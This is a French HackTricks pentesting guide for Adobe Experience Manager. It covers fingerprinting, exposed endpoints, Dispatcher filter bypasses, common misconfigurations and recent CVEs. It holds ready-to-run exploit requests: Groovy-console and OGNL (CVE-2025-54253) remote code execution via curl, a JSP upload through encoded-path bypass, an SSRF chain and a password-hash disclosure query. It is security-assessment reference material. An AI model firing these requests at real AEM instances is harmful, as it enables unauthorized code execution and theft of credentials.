AEM (Adobe Experience Manager) Pentesting
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) est un CMS d’entreprise qui fonctionne au‑dessus d’Apache Sling/Felix (OSGi) et d’un Java Content Repository (JCR). Du point de vue d’un attacker, les instances AEM exposent très souvent des dangerous development endpoints, des weak Dispatcher rules, des default credentials et une longue traîne de CVEs qui sont corrigées chaque trimestre.
La checklist ci‑dessous se concentre sur externally reachable (unauth) attack surface qui revient fréquemment dans des engagements réels (2022-2026).
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Other quick indicators:
/etc.clientlibs/chemin statique présent (renvoie JS/CSS)./libs/granite/core/content/login.htmlpage de connexion avec la bannière “Adobe Experience Manager”.</script><!--/* CQ */-->commentaire en bas du HTML.
2. Points de terminaison non authentifiés à haute valeur
| Path | Ce que vous obtenez | Remarques |
|---|---|---|
/.json, /.1.json | Nœuds JCR via DefaultGetServlet | Souvent bloqué, mais Dispatcher bypass (voir ci-dessous) fonctionne. |
/bin/querybuilder.json?path=/ | QueryBuilder API | Leak de l’arborescence des pages, des chemins internes, des noms d’utilisateur. |
/system/console/status-*, /system/console/bundles | OSGi/Felix console | 403 par défaut ; si exposé et que des creds sont trouvés ⇒ bundle-upload RCE. |
/crx/packmgr/index.jsp | Package Manager | Permet (après authentification) l’installation de content packages → upload de payload JSP. |
/etc/groovyconsole/** | AEM Groovy Console | Si exposé → exécution arbitraire de Groovy / Java. |
/libs/cq/AuditlogSearchServlet.json | Journaux d’audit | Divulgation d’informations. |
/libs/cq/ui/content/dumplibs.html | Dump ClientLibs | XSS vector. |
/adminui/debug | AEM Forms on JEE Struts dev-mode OGNL evaluator | Sur des installations Forms mal configurées (CVE-2025-54253), cet endpoint exécute de l’OGNL sans authentification → RCE. |
Astuces Dispatcher bypass (toujours fonctionnelles en 2025/2026)
La plupart des sites de production sont derrière le Dispatcher (reverse-proxy). Les règles de filtrage sont fréquemment contournées en abusant de caractères encodés ou d’extensions statiques autorisées.
Classic semicolon + allowed extension
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Encoded slash bypass (2025 KB ka-27832)
GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1
Si le Dispatcher autorise les slashes encodés, ceci renvoie du JSON même lorsque /bin est supposé refusé.
3. Configurations erronées courantes (encore présentes en 2026)
- Servlet POST anonyme –
POST /.jsonavec:operation=importpermet de créer de nouveaux nœuds JCR. Bloquer lesPOST *.jsondans le Dispatcher corrige cela. - Profils utilisateurs lisibles par tous – l’ACL par défaut accorde
jcr:readsur/home/users/**/profile/*à tout le monde. - Identifiants par défaut –
admin:admin,author:author,replication:replication. - WCMDebugFilter activé ⇒ XSS réfléchi via
?debug=layout(CVE-2016-7882, encore trouvé sur des installations legacy 6.4). - Groovy Console exposée – exécution de code à distance en envoyant un script Groovy :
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
- Faille encoded-slash du Dispatcher –
/bin/querybuilder.jsonet/etc/truststore.jsonaccessibles avec%2f/%3Bmême lorsqu’ils sont bloqués par des filtres de chemin. - AEM Forms Struts devMode laissé activé –
/adminui/debug?expression=évalue OGNL sans authentification (CVE-2025-54253) conduisant à une RCE non authentifiée ; couplé à un XXE dans la soumission Forms (CVE-2025-54254) permettant la lecture de fichiers.
4. Vulnérabilités récentes (cadence des service-packs)
| Quarter | CVE / Bulletin | Affectés | Impact |
|---|---|---|---|
| Dec 2025 | APSB25-115, CVE-2025-64537/64539 | 6.5.24 & earlier, Cloud 2025.12 | Multiples XSS critiques/storés → exécution de code via l’interface author. |
| Sep 2025 | APSB25-90 | 6.5.23 & earlier | Chaîne de contournement de fonctions de sécurité (Dispatcher auth checker) – mettre à jour vers 6.5.24/Cloud 2025.12. |
| Aug 2025 | CVE-2025-54253 / 54254 (AEM Forms JEE) | Forms 6.5.23.0 and earlier | DevMode OGNL RCE + XXE lecture de fichiers, non authentifié. |
| Jun 2025 | APSB25-48 | 6.5.23 & earlier | Stored XSS et élévation de privilèges dans les composants Communities. |
| Dec 2024 | APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74) | 6.5.22 & earlier | DOM/Stored XSS, exécution de code arbitraire (privilèges faibles). |
| Dec 2023 | APSB23-72 | ≤ 6.5.18 | XSS basé sur le DOM via une URL forgée. |
Vérifiez toujours le bulletin APSB correspondant au service-pack du client et exigez la dernière version 6.5.24 (26 nov. 2025) ou Cloud Service 2025.12. AEM Forms sur JEE nécessite son propre add-on hotfix 6.5.0-0108+.
5. Extraits d’exploitation
5.1 RCE via contournement du Dispatcher + upload JSP
Si l’écriture anonyme est possible:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Demandez maintenant /content/evil.jsp – le JSP s’exécute avec l’utilisateur du processus AEM.
5.2 SSRF to RCE (historical < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py de aem-hacker automatise toute la chaîne.
5.3 OGNL RCE sur AEM Forms JEE (CVE-2025-54253)
# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"
Si vulnérable, le corps HTTP contient la sortie de la commande.
5.4 QueryBuilder hash disclosure (encoded slash bypass)
GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1
Renvoie les nœuds utilisateur incluant les hashes rep:password lorsque les ACL de lecture anonymes sont par défaut.
6. Outils
- aem-hacker – script d’énumération polyvalent, prend en charge dispatcher bypass, SSRF detection, default-creds checks et plus.
python3 aem_hacker.py -u https://target --host attacker-ip
- Tenable WAS plugin 115065 – Détecte QueryBuilder hash disclosure & encoded-slash bypass automatiquement (publié Dec 2025).
- Content brute-force – effectue des requêtes récursives sur
/_jcr_content.(json|html)pour découvrir des composants cachés. - osgi-infect – téléverser un bundle OSGi malveillant via
/system/console/bundlessi des creds sont disponibles.
Références
- Adobe Security Bulletin APSB25-115 – Security updates for Adobe Experience Manager (Dec 9, 2025)
- BleepingComputer – Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


